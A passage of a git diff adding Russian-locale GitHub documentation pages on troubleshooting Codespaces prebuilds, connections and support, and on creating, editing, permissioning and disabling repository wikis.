"Настройка codespace" будет отображаться сообщение "Найдено предварительно созданное пространство кода", если используется предварительная сборка. + +![Сообщение "Найдено предварительно созданное пространство кода"](/assets/images/help/codespaces/prebuilt-codespace-found.png) + +Аналогично, если вы выбрали редактор "{% data variables.product.prodname_vscode_shortname %}", то при создании нового пространства кода во встроенном терминале будет отображаться сообщение "Вы находитесь в предварительно созданном пространстве кода, определенном конфигурацией предварительной сборки для репозитория". Дополнительные сведения см. в разделе [Настройка редактора по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces). + +После создания пространства кода можно проверить, было ли оно создано из предварительной сборки, выполнив в терминале следующую команду {% data variables.product.prodname_cli %}: + +```shell{:copy} +gh api /user/codespaces/$CODESPACE_NAME --jq .prebuild +``` + +Если пространство кода было создано с помощью предварительной сборки, эта команда возвращает `true`. + +Если же у вас не установлен {% data variables.product.prodname_cli %} (`gh`), можно использовать следующую команду, которая возвращает `createFromPrebuild`, если пространство кода было создано из предварительной сборки: + +```shell{:copy} +cat /workspaces/.codespaces/shared/environment-variables.json | jq '.ACTION_NAME' +``` + +## Иногда отсутствует метка "Предварительная сборка готова" + +Иногда при создании нового пространства кода из ветви с поддержкой предварительной сборки в диалоговом окне для выбора типа виртуальной машины метка "{% octicon "zap" aria-label="The zap icon" %} Предварительная сборка готова" не отображается. Это означает, что в настоящее время предварительные сборки недоступны. + +По умолчанию при каждой отправке в ветвь с поддержкой предварительной сборки предварительная сборка обновляется. Если отправка включает изменение конфигурации контейнера разработки, то во время обновления метка "{% octicon "zap" aria-label="The zap icon" %} Предварительная сборка готова" удаляется из списка типов виртуальных машин. В это время вы по-прежнему можете экземпляры codespace без предварительной сборки. При необходимости вы можете сократить количество случаев недоступности предварительных сборок для репозитория, настроив обновление предварительной сборки только при внесении изменений в файлы конфигурации контейнера разработки или только по специальному расписанию. Дополнительные сведения см. в разделе [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). + +Если ваша ветвь специально не включена для предварительных сборок, она все равно может использовать преимущества предварительных сборок, если она была ответвлена ​от ветки с включенной поддержкой предварительных сборок. Однако если в вашей ветви конфигурация контейнера разработки изменена так, что она отличается от конфигурации в базовой ветви, предварительные сборки в вашей ветви больше не будут доступны. + +Если для определенной ветви метка "{% octicon "zap" aria-label="The zap icon" %} Предварительная сборка готова" не отображается, нужно проверить следующее. + +* Проверьте, существует ли для этой ветви конфигурация предварительной сборки. Если вы не являетесь администратором репозитория, необходимо обратиться к одному из администраторов, чтобы проверить это. +* Проверьте, включает ли конфигурация предварительной сборки ваш регион. +* Проверьте, не было ли недавно отправлено изменение конфигурации контейнера разработки в ветвь с поддержкой предварительной сборки. В этом случае обычно необходимо подождать, пока не будет выполнен рабочий процесс предварительной сборки для завершения этой отправки. После этого предварительные сборки снова станут доступны. +* Если никакие изменения конфигурации недавно не вносились, перейдите на вкладку **Действия** вашего репозитория, щелкните **{% octicon "codespaces" aria-label="The Codespaces icon" %} Предварительные сборки {% data variables.product.prodname_codespaces %}** в списке рабочих процессов и проверьте успешность выполнения рабочего процесса предварительной сборки. Если последние запуски рабочих процессов завершались неудачно, и один или несколько из этих неудачных запусков содержали изменения конфигурации контейнера разработки, то для соответствующей ветви предварительные сборки не будут доступны. + +## Не удается получить доступ к некоторым ресурсам в средах codespace, созданных с помощью предварительной сборки + +Если в файле конфигурации предварительной сборки `devcontainer.json` указано, что требуются разрешения на доступ к другим репозиториям, администратор репозитория получит запрос на предоставление этих разрешений во время создания или обновления конфигурации предварительной сборки. Если администратор не предоставит все необходимые разрешения, в предварительной сборке и созданных из нее средах codespace могут возникнуть ошибки. Эта проблема сохраняется, даже если пользователь, создавший codespace на основе предварительной сборки, _предоставил_ все необходимые разрешения при возникновении соответствующего запроса. + +## Устранение неполадок неудачных запусков рабочих процессов для предварительной сборки + +### Увеличение предельной суммы расходов на {% data variables.product.prodname_actions %} + +Предварительные сборки создаются и обновляются с помощью {% data variables.product.prodname_actions %}. Рабочие процессы предварительной сборки завершатся ошибкой, если вы использовали все {% data variables.product.prodname_actions %} минут и достигли предельной суммы расходов. В этом случае можно увеличить предельную сумму расходов на {% data variables.product.prodname_actions %}, чтобы разрешить выполнение рабочих процессов. Дополнительные сведения см. в разделе [Управление предельной суммой расходов для {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). + +### Авторизация разрешений доступа + +Если файл конфигурации предварительной сборки `devcontainer.json` был обновлен с указанием, что требуются разрешения на доступ к другим репозиториям, и администратор репозитория не получил запрос на предоставление таких разрешений, рабочий процесс предварительной сборки может завершиться сбоем. Попробуйте обновить конфигурацию предварительной сборки без внесения изменений. Если при нажатии кнопки **Обновить** появляется страница авторизации, проверьте допустимость необходимых разрешений и авторизуйте запрос. Дополнительные сведения см. в статьях "[Управление предварительными сборками](/codespaces/prebuilding-your-codespaces/managing-prebuilds#editing-a-prebuild-configuration)" и "[Управление доступом к другим репозиториям в среде codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces#setting-additional-repository-permissions)". + +Если запуски рабочих процессов для конфигурации предварительной сборки завершаются неудачно, вы можете временно отключить конфигурацию предварительной сборки, чтобы изучить ее. Дополнительные сведения см. в разделе [Управление предварительными сборками](/codespaces/prebuilding-your-codespaces/managing-prebuilds#disabling-a-prebuild-configuration). + +### Предотвращение использования устаревших предварительных сборок + +По умолчанию, если последний рабочий процесс предварительной сборки завершился сбоем, для создания новых пространств кода будет использоваться предыдущая предварительная сборка для того же сочетания репозитория, ветви и `devcontainer.json` файла конфигурации. Такое поведение называется оптимизацией предварительной сборки. + +Рекомендуется оставить оптимизацию предварительной сборки включенной, так как она помогает обеспечить быстрое создание codespace, если актуальная предварительная сборка недоступна. Однако администратор репозитория может отключить оптимизацию предварительной сборки, если у вас возникают проблемы с предварительно созданными пространствами кода, которые находятся за текущим состоянием ветви. Если вы отключите оптимизацию предварительной сборки, codespaces для соответствующего сочетания репозитория, ветви и `devcontainer.json` файла будут созданы без предварительной сборки, если последний рабочий процесс предварительной сборки завершился сбоем или выполняется в данный момент. + +{% data reusables.codespaces.accessing-prebuild-configuration %} +1. Справа от затронутой конфигурации предварительной сборки нажмите кнопку с многоточием (**...**), а затем щелкните **Изменить**. + + ![Снимок экрана: список предварительных сборок с выделенным элементом "Изменить"](/assets/images/help/codespaces/edit-prebuild-configuration.png) +1. Прокрутите страницу "Изменение конфигурации" вниз и щелкните **Показать дополнительные параметры**. + + ![Снимок экрана: страница конфигурации предварительной сборки с выделенным элементом "Показать дополнительные параметры"](/assets/images/help/codespaces/show-advanced-options.png) +1. Если вы действительно хотите отключить параметр по умолчанию, выберите **Отключить оптимизацию предварительной сборки**. + + ![Снимок экрана: раздел дополнительных параметров и параметр "Отключить предварительную настройку"](/assets/images/help/codespaces/disable-prebuild-optimization.png) +1. Чтобы сохранить изменения, нажмите кнопку **Обновить**. + +## Дополнительные материалы + +- [Настройка предварительных сборок](/codespaces/prebuilding-your-codespaces/configuring-prebuilds) +- [Управление предварительными сборками](/codespaces/prebuilding-your-codespaces/managing-prebuilds) diff --git a/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md new file mode 100644 index 000000000000..c403cf9f6ca3 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/troubleshooting-your-connection-to-github-codespaces.md @@ -0,0 +1,58 @@ +--- +title: Troubleshooting your connection to GitHub Codespaces +intro: 'Troubleshooting help for connecting to {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Connection +redirect_from: + - /codespaces/troubleshooting/troubleshooting-your-connection-to-codespaces +--- + +## 503 codespace service unavailable + +Codespaces are set to stop after 30 minutes without any activity. If you try to interact with a codespace after it has stopped, you may see a `503 service unavailable` error. + +- If a **Start** button is shown in {% data variables.product.prodname_vscode %} or in your browser window, click **Start** to reconnect to the codespace. +- Reset your codespace by reloading the window. From the [Command Palette](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#accessing-the-command-palette) in {% data variables.product.prodname_vscode %}, click **Developer: Reload Window**. + +## Browser cannot connect + +Sometimes you may not be able to access a codespace from your browser. If this happens, go to https://github.com/codespaces and try connecting to the codespace from that page. + + - If the codespace is not listed on that page, check that you are the owner of the codespace you are trying to connect to. You can only open a codespace that you created. The URLs for your codespaces always include your {% data variables.product.company_short %} handle. + - If the codespace is listed but you cannot connect from that page, check whether you can connect using a different browser. + +Your company network may be blocking the connection. If possible, check any logging for rejected connections on your device. + +If you still cannot connect, {% data reusables.codespaces.contact-support %} + +## Unable to connect to your codespace in JupyterLab + +To be able to use a codespace in JupyterLab, you must ensure that your codespace has it installed. The default container image that's used by {% data variables.product.prodname_github_codespaces %} includes JupyterLab, but if you have customized your dev container configuration you will have to manually install JupyterLab. + +If your codespace uses a Debian-based image, you can install JupyterLab in the dev container by adding the `python` feature to your `devcontainer.json` file, with the `installJupyterlab` option set to `true`. Otherwise, install it directly in your Dockerfile. For installation instructions, see "[Installation](https://jupyterlab.readthedocs.io/en/stable/getting_started/installation.html)" in the JupyterLab documentation. + +For more information about the `python` feature, see the README page in the [`devcontainers/features` repository](https://github.com/devcontainers/features/tree/main/src/python). For more information about the `devcontainer.json` file and the Dockerfile, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#devcontainerjson)." + +If you still cannot connect, {% data reusables.codespaces.contact-support %} + +## {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %} cannot connect + +If you cannot connect to a codespace from {% data variables.product.prodname_vscode %} desktop, use the following troubleshooting steps. + +1. Check that you have the latest version of the {% data variables.product.prodname_github_codespaces %} extension installed. The extension is a preview release and frequent updates are released. + 1. In {% data variables.product.prodname_vscode %}, display the "Extensions" tab. + 2. Select the {% data variables.product.prodname_github_codespaces %} extension to display the extension's overview page. + 3. If an update is available, a button is shown, click **Update to X.X.X** to upgrade to the latest version. +2. Check whether you are using the stable build of {% data variables.product.prodname_vscode %} or the [{% data variables.product.prodname_vscode %} Insiders](https://code.visualstudio.com/insiders/) release (nightly updates). If you are using the insiders release, try installing the [stable build](https://code.visualstudio.com/). +3. Your company network may be blocking the connection. If possible, check any logging for rejected connections on your device. + +If you still cannot connect, {% data reusables.codespaces.contact-support %} + +### The codespace has latency issues + +If the codespace seems particularly slow or has latency issues, it is possible that it has been created in a region that is far from you. To resolve this, you can [manually set your {% data variables.product.prodname_github_codespaces %} region](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces). diff --git a/translations/ru-RU/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md b/translations/ru-RU/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md new file mode 100644 index 000000000000..d764feeddf27 --- /dev/null +++ b/translations/ru-RU/content/codespaces/troubleshooting/working-with-support-for-github-codespaces.md @@ -0,0 +1,43 @@ +--- +title: Работа со службой поддержки для GitHub Codespaces +intro: 'Советы по получению помощи от службы поддержки по работе с {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +shortTitle: Working with support +redirect_from: + - /codespaces/troubleshooting/working-with-support-for-codespaces +ms.openlocfilehash: a4db589cb5d8de71e6e8c7d109e0156885c33848 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159898' +--- +Прежде чем поддержка поможет устранить проблемы с codespaces, необходимо знать постоянное имя codespace и его идентификатор codespaces (идентификатор). Кроме того, служба поддержки может попросить вас предоставить общий доступ к некоторым журналам. Дополнительные сведения см. в разделе [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs) и [Сведения о поддержке GitHub](/github/working-with-github-support/about-github-support). + +## Имена пространств кода + +Каждое пространство кода имеет уникальное имя, представляющее собой сочетание дескриптора {% data variables.product.company_short %}, двух или трех автоматически созданных слов и некоторых случайных символов. Например: `octocat-literate-space-parakeet-mld5`. Два или три автоматически созданных слова также формируют начальное отображаемое имя codespace, в данном случае `literate-space-parakeet`. Вы можете изменить отображаемое имя для codespace, но это не повлияет на постоянное имя. Дополнительные сведения см. в разделе [Переименование пространства кода](/codespaces/customizing-your-codespace/renaming-a-codespace). + +Чтобы выяснить имя пространства кода, выполните следующие действия. + +- Откройте пространство кода в браузере. Поддомен URL-адреса — это имя пространства кода. Например: `https://octocat-literate-space-parakeet-mld5.github.dev` — URL-адрес для пространства кода `octocat-literate-space-parakeet-mld5`. +- Если вы не можете открыть пространство кода, вы можете получить доступ к имени в {% data variables.product.product_name %} в https://github.com/codespaces. Имя отображается во всплывающем окне при наведении указателя мыши на отображаемое имя codespace в https://github.com/codespaces. + ![Имя пространства кода, отображаемое при наведении курсора мыши](/assets/images/help/codespaces/find-codespace-name-github.png) + +Имя пространства кода также включено во многие файлы журнала. Например, в журналах пространства кода в качестве значения `friendlyName` в журнале расширения {% data variables.product.prodname_github_codespaces %} после `making GET request for`, а также в журнале консоли браузера после `clientUrl`. Дополнительные сведения см. в статье [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs). + +## Идентификаторы пространств кода + +Каждое пространство кода также имеет идентификатор. Этот параметр не отображается по умолчанию в {% data variables.product.prodname_vscode %}, поэтому вам может потребоваться обновить настройки для расширения {% data variables.product.prodname_github_codespaces %} прежде, чем вы получите доступ к идентификатору. + +1. В браузере или на рабочем столе {% data variables.product.prodname_vscode %} на панели действий слева щелкните **Удаленный обозреватель**, чтобы отобразить сведения о пространстве кода. +{% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %} +1. Если боковая панель содержит раздел "Производительность пространства кода", наведите курсор мыши на идентификатор пространства кода и щелкните значок буфера обмена, чтобы скопировать идентификатор. +1. Если сведения не отображаются, щелкните {% octicon "gear" aria-label="The gear icon" %}, в левом нижнем углу панели действий, чтобы отобразить вкладку "Параметры". +1. Разверните узел **Расширение** и нажмите **{% data variables.product.prodname_github_codespaces %}** , чтобы отобразить параметры для расширения. Затем включите **Показать обозреватель производительности**, чтобы отобразить раздел "Производительность пространства кода" на боковой панели. + ![Идентификатор и параметры пространства кода, необходимые для отображения сведений о производительности](/assets/images/help/codespaces/find-codespace-id.png) diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/about-wikis.md new file mode 100644 index 000000000000..24a9ff072b7f --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -0,0 +1,40 @@ +--- +title: About wikis +intro: 'You can host documentation for your repository in a wiki, so that others can use and contribute to your project.' +redirect_from: + - /articles/about-github-wikis + - /articles/about-wikis + - /github/building-a-strong-community/about-wikis +product: '{% data reusables.gated-features.wikis %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +--- + +Every repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} comes equipped with a section for hosting documentation, called a wiki. You can use your repository's wiki to share long-form content about your project, such as how to use it, how you designed it, or its core principles. A README file quickly tells what your project can do, while you can use a wiki to provide additional documentation. For more information, see "[About READMEs](/articles/about-readmes)." + +With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. + +{% data reusables.getting-started.math-and-diagrams %} + +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.location.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." + +You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.location.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)." + +{% note %} + +**Note:** Search engines will not index the contents of wikis. To have your content indexed by search engines, you can use [{% data variables.product.prodname_pages %}](/pages) in a public repository. + +{% endnote %} + +## Further reading + +- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" +- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" +- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)" +- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)" +- "[Searching wikis](/search-github/searching-on-github/searching-wikis)" diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md new file mode 100644 index 000000000000..4783f88d0e22 --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md @@ -0,0 +1,73 @@ +--- +title: Добавление и редактирование вики-страниц +intro: 'Вы можете добавлять и изменять страницы вики-сайта непосредственно в {% data variables.product.product_name %} или локально с помощью командной строки.' +redirect_from: + - /articles/adding-wiki-pages-via-the-online-interface + - /articles/editing-wiki-pages-via-the-online-interface + - /articles/adding-and-editing-wik-pages-locally + - /articles/adding-and-editing-wiki-pages-locally + - /articles/adding-or-editing-wiki-pages + - /github/building-a-strong-community/adding-or-editing-wiki-pages +product: '{% data reusables.gated-features.wikis %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Manage wiki pages +ms.openlocfilehash: f58cb44a7e6360f87fa417b5f5854d958b00d74b +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008876' +--- +## Добавление вики-страниц + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +3. В правом верхнем углу страницы щелкните **Новая страница**. + ![Кнопка создания вики-страницы](/assets/images/help/wiki/wiki_new_page_button.png) +4. При необходимости записи в формате, отличном от Markdown, в раскрывающемся меню "Режим правки" выберите другой формат. + ![Выбор разметки вики-сайта](/assets/images/help/wiki/wiki_dropdown_markup.gif) +5. Используйте текстовый редактор для добавления содержимого страницы. + ![Режим точного отображения вики-сайта](/assets/images/help/wiki/wiki_wysiwyg.png) +6. Введите сообщение о фиксации с описанием добавляемого файла. + ![Сообщение фиксации для вики-сайта](/assets/images/help/wiki/wiki_commit_message.png) +7. Чтобы зафиксировать изменения на вики-сайте, нажмите **Сохранить страницу**. + +## Изменение вики-страниц + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +4. На боковой панели вики-сайта перейдите на страницу, которую нужно изменить. В правом верхнем углу страницы щелкните **Изменить**. + ![Кнопка изменения вики-страницы](/assets/images/help/wiki/wiki_edit_page_button.png) +5. В текстовом редакторе измените содержимое страницы. + ![Режим точного отображения вики-сайта](/assets/images/help/wiki/wiki_wysiwyg.png) +6. Введите сообщение о фиксации, описывающее ваши изменения. + ![Сообщение фиксации для вики-сайта](/assets/images/help/wiki/wiki_commit_message.png) +7. Чтобы зафиксировать изменения на вики-сайте, нажмите **Сохранить страницу**. + +## Добавление или изменение вики-страниц на локальном компьютере + +Вики-сайты являются частью репозиториев GIT, поэтому в них можно вносить изменения локально, а затем отправлять их в репозиторий с помощью рабочего процесса GIT. + +### Клонирование вики-сайтов на компьютер + +Каждый вики-сайт предоставляет простой способ клонирования содержимого на компьютер. +После создания начальной страницы на {% data variables.product.product_name %} можно клонировать репозиторий на компьютер с указанным URL-адресом: + +```shell +$ git clone https://github.com/YOUR_USERNAME/YOUR_REPOSITORY.wiki.git +# Clones the wiki locally +``` + +После клонирования вики-сайта можно добавить новые файлы, изменить существующие и зафиксировать изменения. Вы и другие участники совместной работы можете создавать ветви при работе с вики-сайтами, но читателям будут доступны только изменения, отправленные в ветвь по умолчанию. + +## Сведения об именах файлов для вики-сайтов + +Имя файла определяет название вики-страницы, а расширение файла — то, как отображается ее содержимое. + +Вики-сайты используют [нашу библиотеку разметки с открытым кодом](https://github.com/github/markup) для преобразования разметки. Она определяет то, какой преобразователь следует использовать для того или иного расширения имени файла. Например, файл имеет имя *foo.md* или *foo.markdown*, вики-сайт будет использовать преобразователь Markdown, а для файла с именем *foo.textile* будет применяться преобразователь Textile. + +Не используйте следующие символы в заголовках вики-страниц: `\ / : * ? " < > |` Пользователи определенных операционных систем не смогут работать с именами файлов, содержащими эти символы. При написании содержимого используйте язык разметки, соответствующий расширению, иначе содержимое будет отрисовываться неправильно. diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md new file mode 100644 index 000000000000..1601243f86c0 --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md @@ -0,0 +1,25 @@ +--- +title: Changing access permissions for wikis +intro: 'Only repository collaborators can edit a {% ifversion fpt or ghec or ghes %}public{% endif %} repository''s wiki by default, but you can allow anyone with an account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to edit your wiki.' +product: '{% data reusables.gated-features.wikis %}' +redirect_from: + - /articles/changing-access-permissions-for-wikis + - /github/building-a-strong-community/changing-access-permissions-for-wikis +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Change access permissions +--- + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under Features, unselect **Restrict edits to collaborators only**. + ![Wiki restrict editing](/assets/images/help/wiki/wiki_restrict_editing.png) + +## Further reading + +- "[Disabling wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)" diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md new file mode 100644 index 000000000000..88b21429ec8c --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md @@ -0,0 +1,49 @@ +--- +title: Создание нижнего колонтитула или боковой панели для вики-сайта +intro: 'Вы можете добавить настраиваемую боковую панель или нижний колонтитул в вики-сайт, чтобы предоставить читателям дополнительную контекстную информацию.' +redirect_from: + - /articles/creating-a-footer + - /articles/creating-a-sidebar + - /articles/creating-a-footer-or-sidebar-for-your-wiki + - /github/building-a-strong-community/creating-a-footer-or-sidebar-for-your-wiki +product: '{% data reusables.gated-features.wikis %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +shortTitle: Create footer or sidebar +ms.openlocfilehash: 0f65114a5258d312d5a81381a59149c589ee54a4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092438' +--- +## Создание нижнего колонтитула + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +3. Внизу страницы нажмите **Добавить настраиваемый нижний колонтитул**. + ![Раздел добавления нижнего колонтитула вики-сайта](/assets/images/help/wiki/wiki_add_footer.png) +4. Используйте текстовый редактор, чтобы ввести содержимое, которое будет отображаться в нижнем колонтитуле. + ![Режим точного отображения вики-сайта](/assets/images/help/wiki/wiki-footer.png) +5. Введите сообщение о фиксации с описанием добавляемого нижнего колонтитула. + ![Сообщение фиксации для вики-сайта](/assets/images/help/wiki/wiki_commit_message.png) +6. Чтобы зафиксировать изменения на вики-сайте, нажмите **Сохранить страницу**. + +## Создание боковой панели + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-wiki %} +3. Нажмите **Добавить настраиваемую боковую панель**. + ![Раздел добавления боковой панели для вики-сайта](/assets/images/help/wiki/wiki_add_sidebar.png) +4. Используйте текстовый редактор для добавления содержимого страницы. + ![Режим точного отображения вики-сайта](/assets/images/help/wiki/wiki-sidebar.png) +5. Введите сообщение о фиксации с описанием добавляемой боковой панели. + ![Сообщение фиксации для вики-сайта](/assets/images/help/wiki/wiki_commit_message.png) +6. Чтобы зафиксировать изменения на вики-сайте, нажмите **Сохранить страницу**. + +## Локальное создание нижнего колонтитула или боковой панели + +При создании файла с именем `_Footer.` или `_Sidebar.` мы будем использовать их для заполнения нижнего колонтитула и боковой панели вики-сайта. Как и каждая другая вики-страница, расширение, выбранное для этих файлов, определяет способ их преобразования для просмотра. diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/disabling-wikis.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/disabling-wikis.md new file mode 100644 index 000000000000..258cbb3386b7 --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/disabling-wikis.md @@ -0,0 +1,30 @@ +--- +title: Отключение вики-сайтов +intro: Можно отключить вики-сайт своего репозитория. +product: '{% data reusables.gated-features.wikis %}' +redirect_from: + - /articles/disabling-wikis + - /github/building-a-strong-community/disabling-wikis +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +ms.openlocfilehash: e23f48fc904c18c2d8744966a97a7b7cab73fbc2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145092433' +--- +При отключении вики-сайта содержимое скрывается, но не удаляется. Если позднее вы решите снова включить вики-сайт, его страницы будут восстановлены. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Компоненты" снимите флажок **Вики-сайт**. + ![Флажок для отключения вики-сайта](/assets/images/help/wiki/wiki_enable_disable.png) + +## Дополнительные материалы + +- [Изменение прав доступа для вики-сайтов](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis) diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md new file mode 100644 index 000000000000..e9f9038bcc96 --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md @@ -0,0 +1,65 @@ +--- +title: Editing wiki content +intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.' +redirect_from: + - /articles/adding-links-to-wikis + - /articles/how-do-i-add-links-to-my-wiki + - /articles/how-do-i-add-or-upload-images-to-the-wiki + - /articles/needs-writing-review-how-do-i-add-or-upload-images-to-the-wiki + - /articles/how-do-i-add-images-to-my-wiki + - /articles/adding-images-to-wikis + - /articles/supported-mediawiki-formats + - /articles/editing-wiki-content + - /github/building-a-strong-community/editing-wiki-content +product: '{% data reusables.gated-features.wikis %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Community +--- + +## Adding links + +You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example: + +- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`. +- With MediaWiki syntax, the link syntax is `[[nameofwikipage|Link Text]]`. + +## Adding images + +Wikis can display PNG, JPEG, and GIF images. + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-wiki %} +3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**. +4. On the wiki toolbar, click **Image**. + ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png) +5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers). +6. Click **OK**. + +### Linking to images in a repository + +You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this: + + [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]] + +{% ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +## Adding mathematical expressions and diagrams{% endif %} + +{% data reusables.getting-started.math-and-diagrams %} + +## Supported MediaWiki formats + +No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you. +- Links ([except AsciiDoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b)) +- Horizontal rules via `---` +- Shorthand symbol entities (such as `δ` or `€`) + +For security and performance reasons, some syntaxes are unsupported. +- [Transclusion](https://www.mediawiki.org/wiki/Transclusion) +- Definition lists +- Indentation +- Table of contents diff --git a/translations/ru-RU/content/communities/documenting-your-project-with-wikis/index.md b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/index.md new file mode 100644 index 000000000000..0b6a6519d03d --- /dev/null +++ b/translations/ru-RU/content/communities/documenting-your-project-with-wikis/index.md @@ -0,0 +1,33 @@ +--- +title: Документирование проекта с помощью вики-сайтов +shortTitle: Using wikis 